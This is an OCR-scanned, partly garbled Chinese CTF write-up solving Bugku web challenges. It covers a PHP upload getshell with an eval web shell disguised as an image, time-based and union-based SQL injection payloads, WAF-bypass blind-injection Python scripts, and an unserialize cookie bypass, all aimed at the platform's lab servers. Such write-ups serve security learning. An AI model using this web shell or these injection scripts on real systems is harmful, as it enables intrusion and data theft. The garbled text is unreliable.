€@ Hackbar v

Encryption® | | Encoding ¥

x  <?php
extract ($_GET) ;
if  (lempty($ac))

{
L@IMM $f = trim(file get contents($fn));
http://123. 206. 87. 240:8002/web8/?ac=123&fn=php: if (Sac == $f)
//input {
echo “<p>This is flag:” .7 $flagd/p>”;
1
s
else
{

Enable Post data
123

[JEnable Referer

get flag:

echo “<prsorry!</p»”;
1

r
1
r

P

This is flag: flag{3cfb7a90fc0de31}

This is flag: flag{3cfb7a90fc0de31}

35. @<

& B B

Topic Link: http://123.206.87.240:8002/web13/

AR #8) web 1243 2%

HEER: BE=R

NN
130

Huht: http://123.206.87.240:8002/web13/

A ZE Aadmin

BT ok 6 344

R : o/Eh

7 9] http://123.206. 87.240:8002/web13/robots. txt #RIER T Hi7

=] http://123.206. 87. 240:8002/web13/resus|. php

HTTFOf 2


http://123.206.87.240:8002/web13/

RERTEER admin £iR4 x AL admin, &3 3% flag

N
f\(—/'w = X @ ‘G) 123.206.87.240:8002/web13/resus|.php?x=admin 2 .- {}‘
f&sﬁiﬁﬁ B yamersas B9 A

get flag:

flag(ctf_0098_lkji-s)

36. 3k getshell

e F A
Topic Link: http://123.206.87.240:8002/web9/



http://123.206.87.240:8002/web9/

K getshell
150

Fgetshell

http://123.206.87.240:8002/web9%/

Flag Submit

B PR T2 b A php &, 25 MK T 2890 2 — T LA %A

1. X4 filename=*.php5

2. 257 Content-Type: image/jpeg

3. #1257 Content-Type: multipart/form-datA  #K/NE &gt

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /web9/index. php HTTP/1. 1 [a HITP/1.1 200 OK
Host: 123.206. 87. 240:8002 N Server: nginx
User-Agent: Nozilla/5.0 (Vindows NT 10.0; Vin64; x84 rv:66.0) Gecko/20100101 Date: Mom, 20 May 2019 10:00:47 GHT
Firefox/86.0 Content-Type: text/html
Accept: text/html, application/xhtml+zml, application/xml;q=0.9,#/* q=0.8 Comnection: keep-alive
Accept-Language: zh-Cl, zh; q=0. 8, zh-TV, q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 Keep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 268

Referer: http://123.206. 87. 240:8002/web9/index. php
Content-Type: multipart/form-dath;

boundary= 293582696224464
Content-Length: 325

'm action="index. php” method="post” enctype="multipart/form-data”>

Connection: keep-alive My name is margin, give me a image file not a phpdbr>
Upgrade-Insecure-Requests: 1 <br>
<input type="file” name="file” id="file" />
293582696224464 <input type="submit” name="submit” value="Submit” />
Content-Disposition: form-data; name="file”;|filename="shell.php5” <fform>

Content-Type: image/jpeg)

<Iphp eval (§_POST["ppp"1); 7> KEY {bb35dc 123820e}

293582696224464
Content-Disposition: form-data; name="submit”

Submi t
293582696224464—
v
get flag;
KEY {bb35dc123820e}

37. INSERT INTO iZA

# & HTTP sk3R7E A, WAF £&iF

Topic Link: http://123.206.87.240:8002/web15/



http://123.206.87.240:8002/web15/

INSERT INTOZ= A
150

#4k: http://123.206.87.240:8002/web15/

flagts #.: flaghooocooooooo]

425 /~Python=e

error_reporting(0);

function getlp(){

$ip=";
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'I)}{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
Jelse{

$ip=$_SERVER['REMOTE_ADDR'];

]

Sip_arr = explode(", $ip):

return $ip_arr[0];

XA

error reporting(0);

function getIp () {

$ip = '';
if(isset ($ SERVER['HTTP_X_FORWARDED_FOR' 1)) {
$ip = $ SERVER['HTTP_X_FORWARDED_FOR'] ;
lelse{

$ip = $ SERVER['REMOTE_ADDR'] ;

}

$ip arr = explode(',', $ip);

return $ip arr[0];

Shost="localhost";

Suser="";
SiorrreT" s
Sdb="":

Sconnect = mysgl connect($host, $user, S$pass) or die("Unable to connect”) ;

mysql select db($db) or die("Unable to select database");



$ip = getIp();
echo 'your ip is :'.S$ip;
$sqgl="insert into client_ip (ip) values ('$ip')";
mysql query($sql);
AR HTTP Sk3RIEN
1. K 0 4R%%: error_reporting(0) FTATRE JEIREEIEAN
2. XA A A IP & R AT #JE Boolean JE A
3. ENBETHEZEA
payload:

#-*- encoding: utf-8 -*-

import requests

str value="0123456789%abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,
IRCE R

url="http://123.206.87.240:8002/webl5/"

flag:" "

PHRELKE: 14

#data = 11' and (case when (length((select group concat (table name) from in
formation_schema.tables where table name=database()))=14) then sleep(4) els

e 1l end)) #

#Hk & &18: client ip, flag

#data = "1l1l'and (case when (substr((select group concat (table name) from inf
ormation_schema.tables where table schema=database() ) from " + str(i) + " £
or 1 )="" + strl + "') then sleep(4) else 1 end )) #"

HRFHEKE: 4
#data = 11' and (case when (length((select group concat (column name) from i
nformation schema.columns where table name='flag'))=4) then sleep(4) else 1

end)) #
#HFBAA: flag

#data = "11' and (case when (substr((select group concat (column name) from i
nformation schema.columns where table name='flag') from " + str(i) + " for 1

)="'" + strl + "') then sleep(4) else 1 end )) #"



HREFBRABEKE: 32
#data = 11' and (case when (length((select group concat(flag) from flag))=3
2) then sleep(4) else 1 end)) #

#data = "11' and (case when (substr((select group concat (flag) from flag) fr

om " + str(i) + " for 1 )='" + strl + "') then sleep(4) else 1 end )) #"

for i in range(1,33) :
for str1 in str value:

data = "11' and (case when (substr((select group concat (flag) from fl

ag) from " + str(i) + " for 1 y=""+ str1 + "') then sleep (5) else 0 end )) #"
headers = {"x-forwarded-for":data}
try:
result = requests. get (url, headers=headers, timeout=4)
except:
flag t= strl
print("flag:"+flag)
break

print ('End Flag:' + flag)
get flag:

flag{cdbf14c9551d5be5612f7bb5d2827853}

38. XA I ERAE

# . SQLVEA

Hofik: http://123.206.87.240:9001/sql/



http://123.206.87.240:9001/sql/

A — AN I 8 AR
150

http://123.206.87.240:9001 /sgl/
flag#s = flag{}

Flag Submit

Xt Username #EATIA KB admin'£ BoriliR(E 5, admin"#i BoRIER, BFERS
A

i) 7 B

admin" order by 1,2# False

admin" order by 1,2,3# True

AR

admin" union select databses (), 2#

TR A TR xR
RE FRR

admin” union select database(),2#

GO GO GO

AL



admin" union select group concat (table name),2 from information schema.tabl

es where table schema='bugkusqgll'#

XA — A H B EFRE

KA TR

admin” union select group_concat(table_nam

GO GO GO

i) flagl 7K

admin" union select group concat (column name),2 from information schema.col

umns where table name='flagl' and table schema='bugkusqgll'#

3 = 2y X
XA — A F R ER A
RAE R KKX
admin” union select group_concat(column_ne

Password

GO GO GO

i) 7 B

admin" union select group concat (flagl),2 from bugkusgll.flagl#



— A R R R A

R £ 5 X

group_concat(flag1),2 from buakusgl1_flag1#

GO GO GO

get flag:

flag{ed6b28e684817d9efcaf802979%e57aeca}

39. &
. SQl A

Hibik: http://123.206.87.240:9004

http://123.206.87.240:9004

AFA 2 flag
flagi#g A4/ 5
flag#s = flag{}

GapsEial


http://123.206.87.240:9004/

There iIs nothing.

MR AT BEAFAETEAN

O‘ng'elb OTE;

(’)’nrc:gr‘o,e

There is nothing.

W fuzz WA I 38 T AL 5ok
payloadl

# 123.206.87.240:9004/1ndex.php?id=1"' anandd length ("sselectelect") --+ tru

@

# 123.206.87.240:9004/1ndex.php?id=1"' anandd length ("select") --+ false



@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions -

Attack type: {Sniper

GET /1ndex. php?id=1%27%20anandd%201 ength (%22 § sselectelect § %22)%20-—+ HITP/1. 1

Host: 123. 206. 87, 240:9004

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win®4; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html, application/xhtml+xnl, application/xml, q=0.9, #/%;q=0.8

Accept-Language: zh-Cl, zh; q=0. 8, zh-TW, q=0. 7, zh-HK, q=0. 5, en-US, q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: maz-age=0

E ntruder attack 1 - [m] X

Altack Save Columns

_[Rsults T Target I Positions T Payloads T Options }

| Filter- Showing all items ‘ @
Request | Payload ‘ Status ‘ Error |Timeou1 ‘ Length v‘ Comment
1 200 8] 8] 581 2
5 union 200 O O 581
14 select 200 @] @] 581
33 and 200 =] =] 581
39 or 200 8] 8] 581
60 200 @] @] 581
65 \ 200 =] =] 581
75 # 200 =] =] 581
95 sEleCt 200 3] 3] 581
102 +#UNiOn+#sEleCt 200 =] =] 581
103 +#19%0AUNIOn all#ga%0A#%0As... 200 g g 581
0 200 O O 575 baseline request
2 gif 200 0] 0] 575
3 is 200 =] =] 575
4 is not 200 =] =] 575
6 like 200 8] g 575 v
Request | Response
Raw | Headers | Hex | HTML | Render }
</head> 0
<body>
</body>
</html>

<center><{font color= "#0000' >Error, Error, Error! <br><br></font></center>

v

.7 T T T Type a search term 0 matches
el=EE

Finished |

FERITESIE 7B 7 2 Ja, AR R A AT /R BT
payload2

http://123.206.87.240:9004/1ndex.php?1d=1%27%20anandd%201=1--+

http://123.206.87.240:9004/1ndex.php?1d=1%27%20anandd%201=2-—+




fE LR AEAT /R HTER 2R B4 S POCL

import requests

url = "http://123.206.87.240:9004/1ndex.php?id=1"' anandd (ascii (substr((sel
selectect database()),{ },1))>{_ }) ——-+"

#url = "http://123.206.87.240:9004/1ndex.php?id=1"' anandd (seselectlect asc

ii(substr((selselectect group concat (table name separatoorr ':') from infoo

rrmation schema.tables where table schema=database()),{ },1))>{_ }) —-—+"

#url = "http://123.206.87.240:9004/1ndex.php?id=1"' anandd (seselectlect asc
ii (substr((seselectlect group concat (column name separatoorr ':') from info
orrmation schema.columns where table name='flagl' anandd table schema=datab

ase (), {_},1))>{__}) ——+"

#url = "http://123.206.87.240:9004/1ndex.php?id=1"' anandd (selselectect asc
ii (substr((selselectect group concat (flagl,':',address separatoorr '?') fro

m flagl), {_}, 1) )>{_}) [



data = "'

for 1 in range(1,100):

min = 33

max = 126

while min<=max:
mid = (max + min)//2
payload = url.format( =i, = mid)
r = requests.get (payload)
if 'There is nothing.' in r.text:

min = mid+1

else:

max mid-1

data += chr (min)
print (data)

print ("done")
PS: AL Waf nJ XS S8k - geid
Run 4 % .



W

we

web

webl

webl0
webl00
webl002
webl002-
webl002-1
webl0E2-1!
webl@E2-1!!
webl0E2-1!!!
webl@E2-1!!!!

Process finished with exit code -1

Run %:

.F

fl

fla

flag

flagl

flagl:
flagl:h
flagl:hi
flagl:hin
flagl:hint
flagl:hint!
flagl:hint!!
flagl:hint!!!
flagl:hint!!!!

Process finished with exit code -1

Run FE:



e
fl

fla

flag

flagl

flagl:

flagl:a

flagl:ad
flagl:add
flagl:addr
flagl:addre
flagl:addres
flagl:address
flagl:address!
flagl:address!!
flagl:address!!!
flagl:address!!!!

Run FE Value:



usOwycTju+FTU
usOwycTju+FTUU
usOwycTju+FTUUZ
usOwycTju+FTUUZX
usOwycTju+FTUUzXo
usOwycTju+FTUUzXos
usOwycTju+FTUUzXos]
usOwycTju+FTUUzXosjr

usOwycTju+FTUUzXosjr:
usOwycTju+FTUUzXosjr: .

usOwycTju+FTUUzXosjr:

usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXos]r
usOwycTju+FTUUzXosjr
usOwycTju+FTUUzXosjr

-/

:./0
:./0n
:./0Onc

:./Once
:./Once_
:./Once_M
:./Once_Mo
:./Once_Mor
:./Once_More
:./Once_More.
:./Once_More.p

Process finished with exit code -1

IR flagl 1 flagl FBEN A H €A AW flag, 7E3K flagl ¥) address 7B H1 & I

i Hint

223X 1Jj I1]./Once_More.php

@ 123.206.87.240:

0% o © M Y|

LoL,YOU Find ME!
BUT,
I wanT TEIll You,

| Have Best Waf Protect Me Now!

Find Me!

Hello,| Am Here!




TR S — IR IAFAEAT /R B VE
payload3

http://123.206.87.240:9004/0Once More.php?id=1%27%20and%201=1--+

http://123.206.87.240:9004/0nce_More.php?id=1%27%20and%201=2--+

“ — 7

D 123.206.87.240:

LoL,YOU Find ME!
BUT,
| wanT TEll You,

| Have Best Waf Protect Me Now!

Hello,| Am Here!

D 123.206.87.240 W% e © MW

LoL,YOU Find ME!

BUT,

I wanT TEll You,

| Have Best Waf Protect Me Now!

FHMAER &L JE T union. substr
L FE e 55



D 123.206.87.240

YOU Find ME!

I wanT TEIll You,

| Have Best Waf Protect Me Now!

Find Me!

'ou have an error in your SQL syntax; check the manual that corresponds t MySQL server version for the right syntax to use near ‘select 1-- " at |

\\

= =
D 123.206.87.240 s W% - @ M T h &
LoL,YOU Find ME!
BUT,

I wanT TEll You,

| Have Best Waf Protect Me Now!

Find Me!

Hello,| Am Here!

) 123.206.87.240

LoL,YOU Find ME!

| wanT TEll You,

| Have Best Waf Protect Me Now!




D 123.206.87.240.

LoL,YOU Find ME!
BUT,
| wanT TEIl You,

| Have Best Waf Protect Me Now!

My Id

d (select mid("123

Hello,| Am Here!

76 B AR 4 S ) POC2

import requests

#url = "http://123.206.87.240:9004/0nce More.php?id=1' and (ascii(mid((sele
ct database()),{ },1))>{ }) ——-+"

#url = "http://123.206.87.240:9004/0Once More.php?id=1"' and (select ascii (mi
d((select group concat (table name separator ':') from information schema.ta

bles where table schema=database()),{ },1))>{ }) —-—-+"

#url = "http://123.206.87.240:9004/0Once More.php?id=1"' and (select ascii (mi
d((select group concat (column name separator ':') from informationischema.c
olumns where tableiname:'flag2' and table schema=database()),{ },1))>{_ })

E—.

url = "http://123.206.87.240:9004/0Once More.php?id=1' and (select ascii (mid
((select group concat(flag2,':',6address separator '?') from flag2),{ },1))>

(1) ——+"

data = "'

for 1 in range(1,100):
min = 33
max = 126
while min<=max:
mid = (max + min)//2
payload = url.format( =i, = mid)

r = requests.get (payload)



if 'Hello,I Am Here!' in r.text:
min = mid+1
else:

max = mid-1

data += chr (min)
print (data)

print ("done")
PS: substr i F mid &
Run ## /4

W

web

webl
webl0
webl00
webl002
webl002-
webl002-2
webl002-2!

Process finished with exit code -1

Run #:



C
cl
cla
clas
class
class:
class:
class:
class:
class:
class:
class:
class:
class:
class:
class:
class:
class:
class:

Process finished with exit code

Run ?Eﬁ

=
fl

fla

flag

flag2

flag2:

flag2:a

flag2:ad
flag2:add
flag2:addr
flag2:addre
flag2:addres
flag2:address
flag2:address!
flag2:address!!
flag2:address!!!
flag2:address!!!!
flag2:

flag2:

Process finished with exit code -1




Run FE Value:

flag{Bugku-sql_6s-21
flag{Bugku-sql_6s-21i-
flag{Bugku-sql_6s-2i-4
flag{Bugku-sql_6s-21-4t
flag{Bugku-sql_6s-2i-4t-
flag{Bugku-sql_6s-2i-4t-b
flag{Bugku-sql_6s-21-4t-bu
flag{Bugku-sql_6s-2i-4t-bug
flag{Bugku-sgql_6s-2i-4t-bug}
flag{Bugku-sgql_6s-2i-4t-bug}:
flag{Bugku-sql_6s-2i-4t-bug}:.
flag{Bugku-sql_6s-2i-4t-bugl}:./
flag{Bugku-sql_6s-2i-4t-bug}:./H
flag{Bugku-sql_6s-2i-4t-bug}:./Ha
flag{Bugku-sql_6s-2i-4t-bug}:./Hav
flag{Bugku-sql_6s-2i-4t-bug}:./Have
flag{Bugku-sql_6s-2i-4t-bug}:./Have_
flag{Bugku-sql_6s-2i-4t-bug}:./Have_F
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fu
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun.
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun.
flag{Bugku-sql_6s-2i-4t-bug}:./Have_Fun.
flag{Bugku-sql_6s-2i-4t-bug
ag{Bugku-sql_6s-21-4t-bugj}:./Have_Fun.

Process finished with exit code -1

FHILR flag H/NE
get flag:

flag{bugku-sql 6s-2i-4t-bug}

42. flag. php

&8 REF . php RA 7

Hohb: http://123.206. 87. 240:8002/f | agphp/

flag.php
200

#hb: http://123.206.87.240:8002/flagphp/
& Tlogin“k 2 B &

#:+: hint


http://123.206.87.240:8002/flagphp/

B login X R, HIERT: hint TRE AT E, ZRiFH
http://123. 206. 87. 240:8002/F | agphp/?hint= 32| ¥ N kA EF 12 8

<{?php

error reporting(0);

include once("flag.php") ;

$cookie = $ COOKIE['ISecer'];

if(isset($_GET['hint'])) {

show_source( FILE );

}

elseif (unserialize($Scookie) === "S$KEY")

{

echo "$flag”;

else {
”
<html>
<head>
<meta http—equiv="Content-Type" content="text/html; charset=UTF-8">
<titledLogin/title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/><{/p>
</form>
</div>
</body>

</html>

<?php
}

SKEY="I|Secer :www. isecer. com' ;



”

KL% RIE Zi#h 2. 1. $cookie = $ COOKIE[' I1Secer' 149122 2T I EHY
&

2. unserialize($cookie) === "$KEY" //st&&&9$key==nul |

#) B BurpSuite JNE /A& http 5K K307 H2 cookie FH : |Secer=s:0:"";

Go Cancel < |v > |

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /flagphp/ HITP/1.1 4 HITP/1.1 200 OK
Host: 123.206. 87. 240:8002 Server: nginx
User-Agent: Nozilla/5.0 (Findows NT 10.0; Win64;, =64, rv:61.0) Gecko/20100101 Date: Sat, 16 Feb 2019 10:28:11 GNT
Firefox/61.0 Content-Type: text/html
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,# /% g=0.8 Cormection: keep-alive
Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HE; q=0. 5, en-US; q=0. 3, en; q=0. 2 Eeep-Alive: timeout=60
Accept-Encoding: gzip, deflate Content-Length: 27
Cockie: ISecer=s:0:"";
Commection: keep-alive flag {unserialize_by_virink}
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
get flag:
flag{unserialize by virink}
48. flag. php
C g > s X
F & R#BFH T, php RF 7. CBC F ¥ R # &
Hohb: http://123.206. 31.85:49168/
X
Challenge 211 Solves

http://123.206.31.85:49168/

flagts 2. SKCTFBo000oo00000000ad

hint:CBCF &4 4=

Flag Submit

fRAR G, HAEEHE AR LE:
CBC F ¥ R 43 # https://www. cnblogs. com/qftm/p/10595591. html

get flag:


http://123.206.31.85:49168/

SKCTF {CBC_wEB_cryptography_6646dfgdg6}

B Z#H+ing



